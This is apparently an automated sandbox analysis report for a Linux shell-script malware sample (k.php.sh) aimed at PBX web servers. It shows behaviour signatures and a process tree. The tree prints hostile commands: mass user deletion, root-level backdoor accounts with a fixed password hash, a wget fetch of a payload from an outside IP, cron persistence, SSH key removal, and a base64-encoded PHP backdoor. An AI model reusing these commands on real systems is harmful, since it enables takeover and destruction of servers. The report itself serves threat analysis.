Analysis
- max time kernel
139s - max time network
140s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
- submitted
30/07/2026, 00:37
General
- Target k.php.sh
- Size 48KB
- Sample260730-ayrt8sap2w
- SHA256 38d883132265520493ca6b111191fb18ad691f13de2ada0c6598a92e880b2c7f
Score
8/10
Malware Config
Signatures
- Modifies password files for system users/ groups 1 TTPs 64 IoCs
Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Deletes Audit logs 1 TTPs 1 IoCs
Deletes logs related to the Linux Audit framework.
- OS Credential Dumping 1 TTPs 31 IoCs
Adversaries may attempt to dump credentials to use it in password cracking.
- Adds a user to the system 22 IoCs
- Creates/modifies Cron job 1 TTPs 11 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Creates/modifies environment variables 1 TTPs 18 IoCs
Creating/modifying environment variables is a common persistence mechanism.
- Deletes log files 1 TTPs 17 IoCs
Deletes log files on the system.
- Enumerates running processes
Discovers information about currently running processes on the system
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
- Modifies Bash startup script 2 TTPs 18 IoCs
- Deobfuscate/Decode Files or Information 1 TTPs 19 IoCs
Adversaries may deobfuscate or decode files or information to evade detection mechanisms.
- Creates a desktop entry file 3 TTPs 8 IoCs
A .desktop file is used by desktop environments to register and launch applications. This can be abused to gain persistence.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 21 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/k.php.sh/tmp/k.php.sh1⤵
- Writes file to tmp directory
-
/bin/bashbash2⤵
- Modifies password files for system users/ groups
- Creates/modifies environment variables
- Modifies rc script
- Modifies Bash startup script
-
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp3⤵
-
-
/bin/rmrm -rf /tmp/config-err-cnBtA3 /tmp/k.php.sh /tmp/netplan_wkh6ex4n /tmp/snap-private-tmp /tmp/ssh-LcmysK1IPupJ /tmp/systemd-private-f1326ebf30e247faa10c684d9ad3ed7c-bolt.service-yl7cF0 /tmp/systemd-private-f1326ebf30e247faa10c684d9ad3ed7c-colord.service-Th6Jj9 /tmp/systemd-private-f1326ebf30e247faa10c684d9ad3ed7c-ModemManager.service-X3yfQb /tmp/systemd-private-f1326ebf30e247faa10c684d9ad3ed7c-systemd-resolved.service-OVUO3l /tmp/systemd-private-f1326ebf30e247faa10c684d9ad3ed7c-systemd-timedated.service-f0usAz "/tmps/*" "/trmp/*" /var/tmp/systemd-private-f1326ebf30e247faa10c684d9ad3ed7c-bolt.service-QYYx6y /var/tmp/systemd-private-f1326ebf30e247faa10c684d9ad3ed7c-colord.service-MKSWwJ /var/tmp/systemd-private-f1326ebf30e247faa10c684d9ad3ed7c-ModemManager.service-kS89jC /var/tmp/systemd-private-f1326ebf30e247faa10c684d9ad3ed7c-systemd-resolved.service-ojAlmL /var/tmp/systemd-private-f1326ebf30e247faa10c684d9ad3ed7c-systemd-timedated.service-i3xJKd "/var/tmps/*" "/var/trmp/*" "/var/lib/asterisk/bin/devnull*"3⤵
- System Network Configuration Discovery
-
-
/bin/rmrm -rf /tmp/devnull24 /tmps/devnull24 /trmp/devnull24 /var/tmp/devnull24 /var/tmps/devnull24 /var/trmp/devnull24 /var/lib/asterisk/bin/devnull243⤵
-
-
/bin/rmrm -rf /tmp/devnull23 /tmps/devnull23 /trmp/devnull23 /var/tmp/devnull23 /var/tmps/devnull23 /var/trmp/devnull23 /var/lib/asterisk/bin/devnull233⤵
-
-
/bin/rmrm -rf /tmp/devnull2 /tmps/devnull2 /trmp/devnull2 /var/tmp/devnull2 /var/tmps/devnull2 /var/trmp/devnull2 /var/lib/asterisk/bin/devnull23⤵
-
-
/bin/rmrm -rf /tmp/k /tmps/k /tmp/.font-unix /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix "/tmps/.??*" "/trmp/.??*"3⤵
-
-
/usr/bin/awkawk -F: "(\$3 == 0 || \$3 >= 1000) && \$1 != \"root\" {system(\"userdel -rf \" \$1 \" 2>/dev/null; sed -i \\\"/^\" \$1 \":/d\\\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/\" \$1 \" 2>/dev/null\")}" /etc/passwd3⤵
-
/bin/shsh -c "userdel -rf nobody 2>/dev/null; sed -i \"/^nobody:/d\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/nobody 2>/dev/null"4⤵
-
/usr/sbin/userdeluserdel -rf nobody5⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd6⤵
-
-
/usr/sbin/nscdnscd -i group6⤵
-
-
/usr/sbin/nscdnscd -i passwd6⤵
-
-
/usr/sbin/nscdnscd -i group6⤵
-
-
-
/bin/sedsed -i "/^nobody:/d" /etc/passwd /etc/shadow /etc/group /etc/gshadow5⤵
- OS Credential Dumping
-
-
/bin/rmrm -rf /home/nobody5⤵
-
-
-
/bin/shsh -c "userdel -rf user 2>/dev/null; sed -i \"/^user:/d\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/user 2>/dev/null"4⤵
-
/usr/sbin/userdeluserdel -rf user5⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd6⤵
-
-
/usr/sbin/nscdnscd -i group6⤵
-
-
/usr/sbin/nscdnscd -i passwd6⤵
-
-
/usr/sbin/nscdnscd -i group6⤵
-
-
-
/bin/sedsed -i "/^user:/d" /etc/passwd /etc/shadow /etc/group /etc/gshadow5⤵
- OS Credential Dumping
-
-
/bin/rmrm -rf /home/user5⤵
-
-
-
-
/bin/grepgrep -R "--include=*.php" -l "t3rr0r\\|b3d0r\\|pastebin\\|Hacked\\|MusicTeam\\|Aragon\\|Black Ban\\|New-Pbx\\|Emad__Was__Here" /var/www/html/3⤵
-
-
/usr/bin/xargsxargs -0 -I "{}" sh -c "cp {} /root/backup/ 2>/dev/null; rm -v {}"3⤵
- Reads runtime system information
-
-
/bin/grepgrep -rlZ atmin /var/www/html/3⤵
-
-
/usr/bin/xargsxargs -0 -I "{}" sh -c "cp {} /root/backup/ 2>/dev/null; rm -v {}"3⤵
- Reads runtime system information
-
-
/bin/grepgrep -rlZ cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8 /var/www/html/3⤵
-
-
/usr/bin/sortsort -u3⤵
-
-
/bin/grepgrep -r "--include=*.php" -l -E "(eval.*base64_decode|/\\*[A-Za-z0-9]+\\*/eval|c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF|New-Pbx|Emad__Was__Here|VictamPbx|emad|t3rr0r|FaTaLisTiCz_Fx|Hacked|b374k|xman|cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8|4ce19905aac5c1a58fc464e5bc1ce027|a62e7e1e4dfd211e99796aebb24dd872|Unauth0r1zed|Aragon|atmin|system\\(\\\$_GET\\[)|eval\\(\\\$_POST|eval\\(\\\$_REQUEST|eval\\(\\\$_GET|system\\(\\\$c\\s" /var/www/html/3⤵
-
-
/usr/bin/cutcut -d : -f13⤵
-
-
/bin/grepgrep -rE "--include=*.php" Emad__Was__Here /var/www/html/3⤵
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵
-
-
/usr/bin/xargsxargs -0 grep -Il "<?php system("3⤵
-
/usr/local/sbin/grepgrep -Il "<?php system("4⤵
-
-
/usr/local/bin/grepgrep -Il "<?php system("4⤵
-
-
/usr/sbin/grepgrep -Il "<?php system("4⤵
-
-
/usr/bin/grepgrep -Il "<?php system("4⤵
-
-
/sbin/grepgrep -Il "<?php system("4⤵
-
-
/bin/grepgrep -Il "<?php system("4⤵
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵
-
-
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp3⤵
-
-
/bin/bashbash3⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." newfpbxs4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
/sbin/pam_tally2pam_tally2 --user newfpbxs --reset --quiet5⤵
-
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash3⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." newfpbx4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
/sbin/pam_tally2pam_tally2 --user newfpbx --reset --quiet5⤵
-
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash3⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." xhimax4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
/sbin/pam_tally2pam_tally2 --user xhimax --reset --quiet5⤵
-
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp3⤵
-
-
/usr/bin/headhead -c83⤵
-
-
/usr/bin/trtr -dc a-z0-93⤵
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /tmps/.45oicsti3⤵
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /tmp/.45oicsti3⤵
- Writes file to tmp directory
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /trmp/.45oicsti3⤵
-
-
/usr/bin/findfind /home -name authorized_keys -exec sed -i /AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE/d "{}" ";"3⤵
-
-
/bin/rmrm -f /root/.ssh/authorized_keys3⤵
-
-
/bin/sedsed -i "s/62\\.171\\.157\\.156\\|178\\.214\\.77\\.7\\|45.234\\.176\\.202\\|46\\.37\\.21\\.63\\|162\\.217\\.98\\.180\\|202\\.170\\.120\\.157\\|111\\.223\\.32\\.50|212\\.83\\.160\\.70/160.119.69.4/g" /etc/crontab3⤵
-
-
/bin/sedsed -i "s/62\\.171\\.157\\.156\\|178\\.214\\.77\\.7\\|45.234\\.176\\.202\\|46\\.37\\.21\\.63\\|162\\.217\\.98\\.180\\|202\\.170\\.120\\.157\\|111\\.223\\.32\\.50|212\\.83\\.160\\.70/160.119.69.4/g" /etc/cron.d/anacron3⤵
- Creates/modifies Cron job
-
-
/bin/sedsed -i "s/62\\.171\\.157\\.156\\|178\\.214\\.77\\.7\\|45.234\\.176\\.202\\|46\\.37\\.21\\.63\\|162\\.217\\.98\\.180\\|202\\.170\\.120\\.157\\|111\\.223\\.32\\.50|212\\.83\\.160\\.70/160.119.69.4/g" /etc/cron.d/popularity-contest3⤵
- Creates/modifies Cron job
- Reads runtime system information
-
-
/sbin/iptablesiptables -C INPUT -s 62.171.157.156 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 62.171.157.156 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 62.171.157.156 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 62.171.157.156 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 178.214.77.7 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 178.214.77.7 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 178.214.77.7 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 178.214.77.7 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 45.234.176.202 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 45.234.176.202 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 45.234.176.202 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 45.234.176.202 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 46.37.21.63 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 46.37.21.63 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 46.37.21.63 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 46.37.21.63 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 162.217.98.180 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 162.217.98.180 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 162.217.98.180 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 162.217.98.180 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 172.93.111.169 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 172.93.111.169 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 172.93.111.169 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 172.93.111.169 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 107.191.47.36 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 107.191.47.36 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 107.191.47.36 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 107.191.47.36 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 3.89.108.204 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 3.89.108.204 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 3.89.108.204 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 3.89.108.204 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 37.252.64.234 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 37.252.64.234 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 37.252.64.234 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 37.252.64.234 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 202.170.120.157 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 202.170.120.157 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 202.170.120.157 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 202.170.120.157 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 111.223.32.50 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 111.223.32.50 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 111.223.32.50 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 111.223.32.50 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 212.83.160.70 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 212.83.160.70 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 212.83.160.70 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 212.83.160.70 -j DROP3⤵
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." centos -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user centos --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." admin -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user admin --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." support -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user support --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." issabel -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user issabel --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." sangoma -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user sangoma --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." emo -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user emo --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." xhimax -s /bin/bash -d /dev/null3⤵
- Adds a user to the system
-
-
/usr/bin/touchtouch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php3⤵
-
-
/bin/grepgrep serv3⤵
-
-
/bin/grepgrep setsid /root/.bash_profile3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/grepgrep serv3⤵
-
-
/bin/grepgrep setsid /root/.bashrc3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/grepgrep serv3⤵
-
-
/bin/grepgrep setsid /etc/rc.local3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/sbin/useradduseradd -m -s /bin/bash sugarmaint3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates a desktop entry file
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user sugarmaint --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash spamfilter3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates a desktop entry file
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user spamfilter --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash asteriskuser3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates a desktop entry file
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user asteriskuser --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash supports3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates a desktop entry file
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user supports --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash freepbxuser3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates a desktop entry file
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user freepbxuser --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash supermaint3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates a desktop entry file
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user supermaint --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash asterisk3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates a desktop entry file
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user asterisk --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash hima3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates a desktop entry file
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user hima --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
